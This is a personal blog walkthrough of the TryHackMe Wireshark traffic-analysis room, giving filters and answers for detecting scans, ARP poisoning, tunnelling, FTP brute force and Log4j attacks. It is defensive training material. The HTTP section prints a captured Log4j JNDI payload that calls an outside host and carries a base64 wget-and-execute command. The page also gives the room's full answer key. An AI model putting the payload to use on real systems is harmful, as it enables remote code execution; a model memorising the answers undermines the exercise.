TryHackMe: Wireshark: Traffic Analysis Walkthrough (SOC Level 1)

Welcome to this walkthrough of the Wireshark: Traffic Analysis Room on TryHackMe. Now that the know the basics of Wireshark, and learned how to apply filters and statistics, we will cover the fundamentals of traffic analysis in Wireshark in this room.

https://tryhackme.com/room/wiresharktrafficanalysis

Be sure to checkout the walkthrough on the previous Wireshark rooms: TryHackMe: Wireshark: The Basics (SOC Level 1) and TryHackMe: Wireshark: Packet Operations (SOC Level 1).

I am making these walkthroughs to keep myself motivated to learn cyber security, and ensure that I remember the knowledge gained by these challenges on HTB and THM. Join me on learning cyber security. I will try and explain concepts as I go, to differentiate myself from other walkthroughs.

Now, let’s move on! This is going to be a long one!

Task 1: Introduction

In this room, we will cover the techniques and key points of traffic analysis with Wireshark and detect suspicious activities. Note that this is the third and last room of the Wireshark room trio, and it is suggested to visit the first two rooms stated below to practice and refresh your Wireshark skills before starting this one.

• Wireshark: The Basics
• Wireshark: Packet Operations

In the first two rooms, we have covered how to use Wireshark and do packet-level searches. Now, it is time to investigate and correlate the packet-level information to see the big picture in the network traffic, like detecting anomalies and malicious activities. For a security analyst, it is vital to stop and understand pieces of information spread in packets by applying the analyst’s knowledge and tool functionality. This room will cover investigating packet-level details by synthesising the analyst knowledge and  Wireshark functionality for detecting anomalies and odd situations for a given case.

Questions

Read the task above.

Answer: No answer needed

Task 2: Nmap Scans

Nmap is a widely used tool for network mapping and scanning, essential for security analysts. There are different types of Nmap scans, and understanding their patterns helps in detecting suspicious activities on the network. Below is a summary of the common Nmap scan types and how to identify them using Wireshark filters:

Types of Nmap Scans:

1. TCP Connect Scan (-sT):
   • Completes the three-way handshake.
   • Used by non-privileged users (no root access required).
   • TCP traffic shows a larger window size (usually > 1024 bytes).
   • Identified by the filter: tcp.flags.syn==1 and tcp.flags.ack==0 and tcp.window_size > 1024.
2. SYN Scan (-sS):
   • Doesn’t complete the handshake (half-open scan).
   • Used by privileged users (root required).
   • Typically has smaller window sizes (<= 1024 bytes).
   • Identified by the filter: tcp.flags.syn==1 and tcp.flags.ack==0 and tcp.window_size <= 1024.
3. UDP Scan (-sU):
   • No handshake required.
   • Closed UDP ports return ICMP error messages (Type 3, Code 3).
   • Identified by the filter: icmp.type==3 and icmp.code==3.

TCP Flag Filters:

• SYN: tcp.flags.syn == 1
• ACK: tcp.flags.ack == 1
• RST: tcp.flags.reset == 1
• FIN: tcp.flags.fin == 1
• SYN+ACK: tcp.flags == 18 or (tcp.flags.syn == 1) and (tcp.flags.ack == 1)
• RST+ACK: tcp.flags == 20 or (tcp.flags.reset == 1) and (tcp.flags.ack == 1)

How to Detect Patterns in Wireshark:

• For TCP Connect Scans, look for SYN packets without ACK and with a large window size.
• For SYN Scans, look for SYN packets without ACK and a smaller window size.
• For UDP Scans, check for ICMP Type 3 (Destination Unreachable, Port Unreachable) messages indicating closed UDP ports.

Questions

Use the “Desktop/exercise-pcaps/nmap/Exercise.pcapng” file.
What is the total number of the “TCP Connect” scans?

Make sure you have read the theory. To find out the total number of TCP Connect scans you can use the following filter:

tcp.flags.syn==1 and tcp.flags.ack==0 and tcp.window_size > 1024

This display filter looks at packets with the SYN flag set, and with a window size larger than 1024 kb.

The number is 1000. It is important to note that not all of these packets have to come from NMap scans. All regular TCP connections being started can also be included here, as these window sizes are not uncommon on those either.

Answer: 1000

Which scan type is used to scan the TCP port 80?

To find out this answer I added the tcp.port = 80 part to the previous filter.

tcp.flags.syn==1 and tcp.flags.ack==0 and tcp.window_size > 1024 and tcp.port == 80

This leaves only one packet left.

Now, we need to figure out if this packet also has the SYN/ACK and ACK packets to complete the 3-way handshake. In the case of the SYN scan, we would not see the final ACK flag, but rather a RST. We can investigate this by looking at the conversation.

Right click on the packet, choose Conversation Filter -> TCP.

As you can see, we see the whole TCP conversation ,including the 3-way handshake. We are thus look at a TCP Connect scan.

Answer: TCP Connect

How many “UDP close port” messages are there?

The theory covers the necessary UDP Display filter to find the answer:

icmp.type==3 and icmp.code==3

The filter looks at ICMP error packets with the right type. The answer is 1083.

Answer: 1083

Which UDP port in the 55-70 port range is open?

UDP scans receive a error message when the UDP port is closed, but unfortunately there is no response for ports that are open. This is why seeing this in the traffic is a bit more difficult.

Luckily we can still use UDP display filter, such as:

udp.port in {55 .. 70}

This returns UDP traffic only to and from the ports in the range 55-70.

Luckily there is only traffic found to port 66,67 and 68, and look at that! ICMP traffic is listed as well, even though ICMP is not run over UDP. Why then do we see it then? This is because Wireshark is intellligenct enough to see that these ICMP packets include part of the UDP headers in case of a failure.

Since we see these on ports 67 and 69, the only prot that had a succesful connections is port 68.

Answer: 68

Task 3: ARP Poisoning & Man In The Middle!

1. ARP Protocol Overview

• ARP (Address Resolution Protocol) enables devices to identify themselves on a local network by mapping IP addresses to MAC addresses.
• It is not secure, not routable, and lacks authentication.

2. ARP Poisoning (MITM Attack)

• Attackers send malicious ARP packets to manipulate the IP-to-MAC table, intercepting traffic.
• Tools exist for ARP attacks, but they can be detected with Wireshark and ARP analysis knowledge.

3. ARP Packet Analysis

• Legitimate ARP traffic consists of request/response, announcements, and gratuitous packets.
• Suspicious behavior includes:
  • Duplicate ARP responses (conflicting MAC addresses for the same IP).
  • ARP flooding (excessive ARP requests from a single MAC).

4. Wireshark Filters for Detection

• arp.opcode == 1 (ARP requests)
• arp.opcode == 2 (ARP responses)
• arp.duplicate-address-detected or arp.duplicate-address-frame -> Possible ARP poisoning detection
• ((arp) && (arp.opcode == 1)) && (arp.src.hw_mac == target-mac-address)
  -> Possible ARP flooding from detection:

Questions

Use the “Desktop/exercise-pcaps/arp/Exercise.pcapng” file.
What is the number of ARP requests crafted by the attacker?

According to the theory, the way we can filter out ARP requests is by using the following display filter:

arp.opcode == 1

You will see that the majority of ARP requests are coming from 192.168.1.25 so this seems to be the attacker IP, but not all of the requests are from this IP so we need to add another filter to filter the packets on IP address.

We can do this by selecting apply as filter after right clicking the Sender IP address in the packet details (underneath ARP).

This shows 284 packets. The filter you can apply is:

arp.src.proto_ipv4 == 192.168.1.25 and arp.opcode == 1

Answer: 284

What is the number of HTTP packets received by the attacker?

This question gave me some headache, as I needed to change my focus on the attacker MAC instead of its IP. Why is that? Well it’s all because of the type of attack we are looking at.

In an ARP poisoning/spoofing attack, it is important to filter Wireshark traffic based on MAC addresses rather than IP addresses because ARP attacks manipulate MAC-to-IP associations, causing devices to send traffic to the attacker’s MAC instead of the intended destination.

The MAC address was actually on the previous screen, but hidden behind the menu:

Here we can see that the MAC address is 00:0c:29:e2:18:b4, which we can now use to filter on all HTTP packets:

eth.addr == 00:0c:29:e2:18:b4 and http

We can see 90 packets:

Answer: 90

What is the number of sniffed username&password entries?

Have a look at the previous packets, and you will see some HTTP packets coming from userinfo.php, probably some kind of form.

We can filter on these packets by entering:

eth.addr == 00:0c:29:e2:18:b4 and http and urlencoded-form

Technically, urlencoded-forms would be enough since all urlencoded-form packets come from this MAC address.

Not all packets include passwords though, but if you count the ones that look like this:

You will end up with 6.

Answer: 6

What is the password of the “Client986”?

One of the packets we found includes the info for Client986:

Answer: clientnothere!

What is the comment provided by the “Client354”?

The bottom packet comes from comment.php, and indeed, this is a comment by Client354:

Nice work indeed!

Answer: Nice work!

Task 4: ARP Poisoning & Man In The Middle!

When investigating a compromise or malware activity, security analysts must identify hosts and users beyond just IP-to-MAC address matching. Understanding predefined naming patterns in enterprise networks helps but can also be exploited by adversaries.

Protocols for Host and User Identification:

1. DHCP Analysis (Dynamic Host Configuration Protocol)
   • Used for automatic IP address assignment.
   • Key Wireshark filters:
     • dhcp.option.hostname contains "keyword" (Hostname)
     • dhcp.option.dhcp == 3 (Request), == 5 (ACK), == 6 (NAK)
   • Notable options:
     • Option 12 (Hostname), Option 50 (Requested IP), Option 51 (Lease time), Option 61 (MAC address)
2. NetBIOS (NBNS) Analysis
   • Allows communication between applications on different hosts.
   • Key Wireshark filter: nbns.name contains "keyword"
3. Kerberos Analysis
   • Default authentication service for Windows domains.
   • Helps identify user accounts and service requests.
   • Key Wireshark filters:
     • kerberos.CNameString contains "keyword" (Username)
     • kerberos.CNameString and !(kerberos.CNameString contains "$") (Exclude hostnames)
     • kerberos.realm contains ".org" (Domain filtering)

Questions

Use the “Desktop/exercise-pcaps/dhcp-netbios-kerberos/dhcp-netbios.pcap” file. What is the MAC address of the host “Galaxy A30”?

To answer this question we need to filter on the DHCP hostname field to try and see if we can find a hostname containing A30.

dhcp.option.hostname contains "A30"

We will find result, with the hostname Anthony-s-Galaxy-A30s.

The MAC address is highlighted.

Answer: 9a:81:41:cb:96:6c

How many NetBIOS registration requests does the “LIVALJM” workstation have?

I started by filtering on the nbs.name property:

nbns.name contains "LIVALJM"

This shows a lot of packets, and if you look at the different flags, you can see there are different type of packets (reistration, broadcast, etc.). I then proceeded by filtering on the registration flag, by rightclicking the highlighted row above. This causes the following filter to apply:

nbns.name contains "LIVALJM" and nbns.flags.opcode == 5

Now there are 16 packets left.

Answer: 16

Which host requested the IP address “172.16.13.85”?

It took me a while to figure this one out, but basically you have to take a look around at the different packet option values that you can find on a packet under the Dynamic Host Configuration Protocol information part of the Application Layer.

You will then find Option 50, which is the Requested IP address.

Then you can apply this info as filter (by right-clicking and press Apply as Filter) and you will get a display filter similar to:

dhcp.option.requested_ip_address == 172.16.13.85

In the above screenshot you can see the

Answer: Galaxy-A12

Use the “Desktop/exercise-pcaps/dhcp-netbios-kerberos/kerberos.pcap” file. What is the IP address of the user “u5”? (Enter the address in defanged format.)

This one is covered pretty well in the theory. We will need to use the following filter:

kerberos.CNameString contains "u5"

We see 9 packets, and these have different message types (AS-REQ, AS-REP, TGS-REP). To answer this question it is best to look at the AS-REQ. This stands for Authentication Service Request, and it is sent from the client (user) to the Key Distribution Center (KDC). Therefore we can look at the source IP.

The IP is highlighted, and you can defang it here:

https://gchq.github.io/CyberChef/#recipe=Defang_IP_Addresses()&input=MTAuMS4xMi4yCg

Answer: 10[.]1[.]12[.]2

What is the hostname of the available host in the Kerberos packets?

This one is a bit confusing, but here is how I figured it out. Look at all the Kerberos packets by simply enter kerberos in the display filter.

Now have a look at the packet information. Earlier we used the CNameString. Find the field and right click and apply it as column (so it becomes visible as column). What that column visible simply look for a CNameString ending with a $, which indicates a hostname instead of username. There should only be one: xp1$.

Answer: xp1$

Task 5: Tunneling Traffic: DNS and ICMP

Tunneling transfers data securely across networks, often encapsulating it within trusted protocols. While enterprises use it for security and anonymity, attackers exploit it to bypass security measures. Detecting ICMP and DNS tunneling is crucial for security analysts.

ICMP Analysis

• Purpose: ICMP is used for network diagnostics but can be exploited for data exfiltration and Command & Control (C2) communication.
• Indicators of Compromise:
  • Anomalous ICMP traffic volume
  • Unusual packet sizes (beyond standard 64 bytes)
  • Custom encapsulated data
• Wireshark Filters:
  • icmp (global search)
  • data.len > 64 and icmp (identifies oversized ICMP packets)

DNS Analysis

• Purpose: DNS translates domain names to IPs but can be used for covert C2 channels.
• Indicators of Compromise:
  • Longer-than-normal DNS queries
  • Encoded subdomains (e.g., encoded-commands.maliciousdomain.com)
  • High volume of DNS requests to specific domains
• Wireshark Filters:
  • dns (global search)
  • dns contains "dnscat" (detects known tunneling tools)
  • dns.qry.name.len > 15 and !mdns (identifies unusually long queries)

Conclusion

Security analysts must understand normal vs. abnormal traffic patterns to detect tunneling. Using Wireshark filters and statistical analysis can help identify anomalies. The document ends with an invitation to practice with an exercise file.

Questions

Use the “Desktop/exercise-pcaps/dns-icmp/icmp-tunnel.pcap” file. Investigate the anomalous packets. Which protocol is used in ICMP tunnelling?

To get started, let’s use the display filter discussed in the theory:

data.len > 64 and icmp

This filters on ICMP traffic with a larger than normal packet size.

But take a look at the hexadecimal representation of the packet! It includes a SSH banner exchange!

The payload includes supported key exchange methods (diffie-hellman-group-exchange-sha256, etc.) and supported encryption algorithms like aes128-ctr, aes256-ctr, 3des-cbc, blowfish-cbc, etc.

Surely, this must be SSH traffic!

Answer: SSH

Use the “Desktop/exercise-pcaps/dns-icmp/dns.pcap” file. Investigate the anomalous packets. What is the suspicious main domain address that receives anomalous DNS queries? (Enter the address in defanged format.)

Here we can use the following filter:

dns contains "dnscat"

This filter works to detect DNS filtering because it searches for the string “dnscat” within DNS traffic packets. This is useful for identifying potential DNS tunneling activity, specifically related to DNSCat2, a tool used for covert communication over DNS.

This actually did not lead to any packets with a clear domain name visible. I proceeded with the other filter discussed in the theory:

dns.qry.name.len > 15 and !mdns

But this gave me more than 30.00 packets. We can increase the query name length though to reduce this number. I had to go all the way over 55 to make it more managable:

dns.qry.name.len > 55 and !mdns

Here we finally find something interesting, an encoded subdomain!

dataexfil[.]com

Task 6: Tunneling Traffic: DNS and ICMP

FTP (File Transfer Protocol) is used for file transfers but lacks strong security, leading to potential issues like:

• MITM attacks
• Credential theft and unauthorized access
• Phishing, malware planting, and data exfiltration

Wireshark Filter Basics:

• Global search: ftp
• Low-hanging fruits to focus on:
  1. x1x series (Information request responses):
     • 211: System status, 212: Directory status, 213: File status
     • Wireshark Filter: ftp.response.code == 211
  2. x2x series (Connection messages):
     • 220: Service ready, 227: Entering passive mode, 228: Long passive mode
     • Wireshark Filter: ftp.response.code == 227
  3. x3x series (Authentication messages):
     • 230: User login, 231: User logout, 331: Valid username, 530: Invalid password
     • Wireshark Filter: ftp.response.code == 230

Key FTP Commands:

• USER: Username
• PASS: Password
• CWD: Current working directory
• LIST: List

Advanced Signals for Attack Detection:

• Bruteforce or Password spray signals:
  • List failed login attempts or static password targets.
  • Wireshark Filter Examples:
    • ftp.response.code == 530
    • (ftp.response.code == 530) and (ftp.response.arg contains "username")
    • (ftp.request.command == "PASS") and (ftp.request.arg == "password")

Questions

Use the “Desktop/exercise-pcaps/ftp/ftp.pcap” file.
How many incorrect login attempts are there?

Alright, let’s go!

We will need to use the 530 response code here, which means: No login, invalid password.

ftp.response.code == 530

The total number is 737.

Answer: 737

What is the size of the file accessed by the “ftp” account?

We have to use another status code here, this time 213. This code means file status.

ftp.response.code == 213

Applying this filter returns two packets:

I had a bit of a trouble finding the answer here since the file name is a numeric value, 39424. But the return value of the file status command is 39424.

Answer: 39424

The adversary uploaded a document to the FTP server. What is the filename?

I manually looked through the FTP traffic, since I had trouble identifying the correct command to filter on. Originally I tried filtering on FILE, but later I found out that we have to use STOR.

Anyway, nearly in the bottom of the FTP packets you can find the following suspicious traffic:

There is some file being downloaded and later another uploaded? You can find the upload command by using the following filter:

ftp.request.command == "STOR"

You can then see the whole TCP conversation by right-clicking the packet and pressing Conversation Filter -> TCP.

(ip.addr eq 192.168.1.182 and ip.addr eq 192.168.1.231) and (tcp.port eq 62014 and tcp.port eq 21)

Or maybe even better, follow the TCP stream by right-clicking a packet and pressing Follow -> TCP stream:

Anyway, while the user uploads a file called README (STOR command), he downloaded a file called resume.doc before. THM expects this answer, and this is likely since the user renamed the file before uploading it again.

Answer: resume.doc

The adversary tried to assign special flags to change the executing permissions of the uploaded file. What is the command used by the adversary?

Look at the TCP stream, and scroll a bit down:

We can see a CHMOD command here, used to change the executing permission on the uploaded file.

Answer: 777

Task 7: Cleartext Protocol Analysis: HTTP

This task is a bit easier to comprehend, at least for me, since most of us have more natural experience with HTTP traffic (e.g. when we browse). Let’s summarize the theory:

HTTP is a cleartext, request-response, client-server protocol used for web traffic. Due to its unencrypted nature, it is crucial for network traffic analysis. Common threats detected via HTTP analysis include phishing, web attacks, data exfiltration, and command-and-control (C2) traffic.

Key HTTP Analysis Techniques

• Request Methods:
  • GET and POST requests are commonly analyzed for anomalies.
  • Wireshark filters:
    • http.request.method == "GET"
    • http.request.method == "POST"
• Response Status Codes:
  • Useful for detecting unusual server responses, e.g., 403 Forbidden, 404 Not Found, 503 Service Unavailable.
  • Wireshark filters:
    • http.response.code == 200 (OK)
    • http.response.code == 403 (Forbidden)
    • http.response.code == 503 (Service Unavailable)
• HTTP Parameters for Detection:
  • User-Agent: Identifies browser and OS; adversaries may modify it.
    • Wireshark filter: http.user_agent contains "nmap"
  • Request URIs: Helps detect suspicious admin paths.
    • http.request.uri contains "admin"
  • Server and Host Details: Identify web servers and suspicious activity.
    • http.server contains "apache"
    • http.host contains "keyword"

User-Agent Analysis

• Adversaries manipulate user-agent fields to mimic legitimate traffic.
• Look for:
  • Different user-agents from the same host in a short period.
  • Spelling variations ("Mozlila" instead of "Mozilla").
  • Known audit tool indicators (Nmap, Nikto, sqlmap).
  • Wireshark filter:
    • (http.user_agent contains "sqlmap") or (http.user_agent contains "Nmap")

Log4j Attack Analysis

Log4j exploits start with POST requests and contain specific cleartext patterns (jndi:ldap, Exploit.class).

Wireshark filters:

• http.request.method == "POST"
• (frame contains "jndi") or (frame contains "Exploit")
• (http.user_agent contains "$") or (http.user_agent contains "==")

Questions

Use the “Desktop/exercise-pcaps/http/user-agent.cap” file.
Investigate the user agents. What is the number of anomalous  “user-agent” types?

To filter on all packets with a user-agent field set we use the following filter:

http.user_agent

This leaves 53 packets:

We can select the User-Agent field in the packet details and select it as column. This shows a bunch of different user-agents, including sqlmap and Wfuzz. Now if the question asked the total different number of packets we could have used a filter like so:

(http.user_agent contains "sqlmap") or (http.user_agent contains "Nmap") or (http.user_agent contains "Wfuzz") or (http.user_agent contains "Nikto")

But it asks us to find the number of different TYPES. So we need manually look through the 54 packets found earlier. I found the following:

• Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)
• Wfuzz/2.4
• sqlmap/1.4#stable (http://sqlmap.org)
• ${jndi:ldap://45.137.21.9:1389/Basic/Command/Base64/d2dldCBodHRwOi8vNjIuMjEwLjEzMC4yNTAvbGguc2g7Y2htb2QgK3ggbGguc2g7Li9saC5zaA==} (LOG4J)
• Mozlila/5.0 (X11; Ubuntu; Linux x86_64; rv:100.0) Gecko/20100101 Firefox/100.0 (MISPELLED)
• Mozilla/5.0 (Windows; U; Windows NT 6.4; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 (Based on the hint, Windows 6.4 does not exist!)

The total number is 6!

Answer: 6

What is the packet number with a subtle spelling difference in the user agent field?

This one is easy, as we found it previously. The packet is 52, with a misspelled Mozlila!

Answer: 52

Use the “Desktop/exercise-pcaps/http/http.pcapng” file.
Locate the “Log4j” attack starting phase. What is the packet number?

The theory mentioned that the Log4j attack starts with a post request. We can therefore start by using the following display filter:

http.request.method == "POST"

This returns a lot of packets, but luckily we can see the attack phase start on the second visible packet:

The packet number is 444.

Answer: 444

Locate the “Log4j” attack starting phase and decode the base64 command. What is the IP address contacted by the adversary? (Enter the address in defanged format and exclude “{}”.)

The base64 command is found in the user-agent field:

${jndi:ldap://45.137.21.9:1389/Basic/Command/Base64/d2dldCBodHRwOi8vNjIuMjEwLjEzMC4yNTAvbGguc2g7Y2htb2QgK3ggbGguc2g7Li9saC5zaA==}

The base64 part is:

d2dldCBodHRwOi8vNjIuMjEwLjEzMC4yNTAvbGguc2g7Y2htb2QgK3ggbGguc2g7Li9saC5zaA==

We can decode this base64 string here:

https://www.base64decode.org

Defang the IP address at CyberChef:

https://gchq.github.io/CyberChef/#recipe=Defang_IP_Addresses()&input=NjIuMjEwLjEzMC4yNTA

Answer: 62[.]210[.]130[.]250

Task 8: Encrypted Protocol Analysis: Decrypting HTTPS

HTTPS uses the TLS protocol to encrypt traffic, providing protection against attacks like spoofing, sniffing, and interception. While it enhances security, attackers also use HTTPS to hide malicious activities. To investigate HTTPS traffic, security analysts need to decrypt it using key files (encryption/decryption key pairs).

Key Concepts:

• Encrypted Traffic: HTTPS traffic appears encrypted in packet captures, and crucial details (like URLs and data) are hidden.
• TLS Handshake: Similar to TCP’s three-way handshake, TLS has its own handshake with “Client Hello” and “Server Hello” messages, which are useful for identifying involved IPs.
  • Wireshark Filters:
    • tls.handshake.type == 1 (Client Hello)
    • tls.handshake.type == 2 (Server Hello)

Decrypting HTTPS Traffic:

• Key Log File: A text file containing unique key pairs generated per session during SSL/TLS connections. These keys are necessary to decrypt the traffic.
  • Browsers like Chrome and Firefox can generate these keys if properly configured.
  • Set the SSLKEYLOGFILE environment variable to save these key pairs.
  • Without the key log file, it’s impossible to decrypt the traffic.
• Wireshark Filters and Tools:
  • HTTPS Parameters:
    • http.request (list requests)
    • tls (global TLS search)
    • ssdp (Local Simple Service Discovery Protocol for network service advertisement)
  • View Traffic: Decrypting traffic with key log files allows analysts to see:
    • Decrypted TLS data
    • Decompressed headers
    • HTTP2 packet details

Process for Key Log File:

1. Configuration: Enable SSL/TLS key logging in your browser (e.g., Chrome, Firefox) by setting the SSLKEYLOGFILE environment variable.
2. Use in Wireshark: Add the key log file via “Edit → Preferences → Protocols → TLS” or right-click menu to decrypt captured traffic.

With/Without Key Log:

• Without Key Log File: Encrypted packet details remain hidden.
• With Key Log File: Analysts can view detailed traffic, including HTTP headers and reassembled data (Frame, Decrypted TLS, Decompressed Header).

Questions

Use the “Desktop/exercise-pcaps/https/Exercise.pcap” file.
What is the frame number of the “Client Hello” message sent to “accounts.google.com”?

To filter on all packets containing a “Client Hello” message we use the following display filter:

tls.handshake.type == 1

This returns 20 packets:

Now how about the domain name? We can dig this up by looking in the packet details under TLS -> Handshake Protocol -> Extension: server_name.

I chose to apply this field as column, to find the answer more easily. The relevant frame is number 16.

Answer: 16

Decrypt the traffic with the “KeysLogFile.txt” file. What is the number of HTTP2 packets?

Ok. There are two steps to this. First decrypt the traffic by adding the key log file via “Edit → Preferences → Protocols → TLS” and input it into the Master-Secret log filename field. This menu is also accessible by right-clicking the TLS section in the packet details.

Afterwards filter on HTTP2:

http2

This returns 115 packets:

Answer: 115

Go to Frame 322. What is the authority header of the HTTP2 packet? (Enter the address in defanged format.)

This one is simple. Find frame 322 and underneath HTTP2 in the packet details you will find the authority header field.

Answer: safebrowsing[.]googleapis[.]com

Investigate the decrypted packets and find the flag! What is the flag?

Since there are only 100 or so packets, I looked around manually. I came across frame #1576 which includes a HTTP GET call to a flag.txt file.

But this is not the way to export it. We need to go to File > Export Objects > HTTP:

Choose the first file and press Save:

And open it:

We found the flag!

Answer: FLAG{THM-PACKETMASTER}

Task 9: Bonus: Hunt Cleartext Credentials!

Wireshark helps analysts inspect network packets for anomalies, including detecting cleartext credentials. While it is not an IDS, it provides expert info to highlight suspicious activity. However, differentiating between legitimate and malicious traffic (e.g., mistyped credentials vs. brute-force attempts) can be challenging.

Cleartext Credential Detection:

• Some Wireshark dissectors (FTP, HTTP, IMAP, POP, SMTP) can extract cleartext passwords.
• The “Tools → Credentials” menu (available in Wireshark v3.1+) displays detected credentials.
• The credential window provides details such as:
  • Packet number
  • Protocol
  • Username
  • Additional packet references
• Clicking on entries in this window allows quick navigation to relevant packets.

Limitations:

• Only works with specific protocols.
• Analysts should manually verify findings rather than solely relying on this feature.

This tool helps reduce detection time for cleartext credentials, improving security investigations.

Questions

Use the “Desktop/exercise-pcaps/bonus/Bonus-exercise.pcap” file. What is the packet number of the credentials using “HTTP Basic Auth”?

As discussed in the theory, open up Tools -> Credentials. You will see a list of packets containing credentials. The bottom one uses HTTP basic authentication, and its packet number is 237.

Answer: 237

What is the packet number where “empty password” was submitted?

Go through each of the packets in the credentials list. Clicking on the packet number opens up the packet details. Each packet has a entered password until we reach packet 170:

Answer: 170

Task 10: Bonus: Actionable Results!

After detecting anomalies and taking investigative notes, the next step is to take action. As a security analyst, you may need to identify threats and implement firewall rules to mitigate risks.

Wireshark provides a feature to generate firewall rules directly from packet analysis:

• Menu: Tools → Firewall ACL Rules
• Rules include: IP, port, and MAC address-based filtering
• Intended for: Implementation on an external firewall interface

Supported Firewall Systems:

• Netfilter (iptables)
• Cisco IOS (standard/extended)
• IP Filter (ipfilter)
• IPFirewall (ipfw)
• Packet filter (pf)
• Windows Firewall (netsh, old/new format)

This feature simplifies rule creation, allowing analysts to quickly implement security measures based on observed threats.

Questions

Alright, last two questions. Let’s finish strong!

Use the “Desktop/exercise-pcaps/bonus/Bonus-exercise.pcap” file. Select packet number 99. Create a rule for “IPFirewall (ipfw)”. What is the rule for “denying source IPv4 address”?

First select packet number 99. Then open up Tools → Firewall ACL Rules. Select ipfw in the Create rules for option field.

Look under “denying source IPv4 address” and you will find the rule:

Answer: add deny ip from 10.121.70.151 to any in

Select packet number 231. Create “IPFirewall” rules. What is the rule for “allowing destination MAC address”?

Ok, you know the drill! Make sure to close the Firewall ACL Rules window. Select packet 231, and afterwards select IPFirewall from the option dropdown. Finally, make sure to select Inbound only.

See the rule in the screenshot.

Answer: add allow MAC 00:d0:59:aa:af:80 any in

Task 11: Conclusion

Congratulations! You just finished the “Wireshark: The Traffic Analysis” room.

In this room, we covered how to use the Wireshark to detect anomalies and investigate events of interest at the packet level. Now, we invite you to complete the Wireshark challenge room: Carnage, Warzone 1 and Warzone 2.

Wireshark is a good tool for starting a network security investigation. However, it is not enough to stop the threats. A security analyst should have IDS/IPS knowledge and extended tool skills to detect and prevent anomalies and threats. As the attacks are getting more sophisticated consistently, the use of multiple tools and detection strategies becomes a requirement. The following rooms will help you step forward in network traffic analysis and anomaly/threat detection.

Brim

NetworkMiner

Snort

Snort Challenge –  The Basics

Snort Challenge – Live Attacks

Zeek

Zeek Exercises

Questions

Read the task above.

Answer: No answer needed.

Congratulations on completing Wireshark: Traffic Analysis!!!

Congratulations on completing Wireshark Traffic Analysis. I found this to be a really great practice room for getting some experience with Wireshark. I don’t know about you, but I learned a lot!

Come back soon for more walkthroughs of rooms on TryHackMe and HackTheBox, and other Cybersecurity discussions.

Like my articles?

You are welcome to comment on this post, or share my post with friends.I would be even more grateful if you support me by buying me a cup of coffee:

I learned a lot through HackTheBox’s Academy. If you want to sign up, you can get extra cubes, and support me in the process, if you use the following link:

https://referral.hackthebox.com/mzwwXlg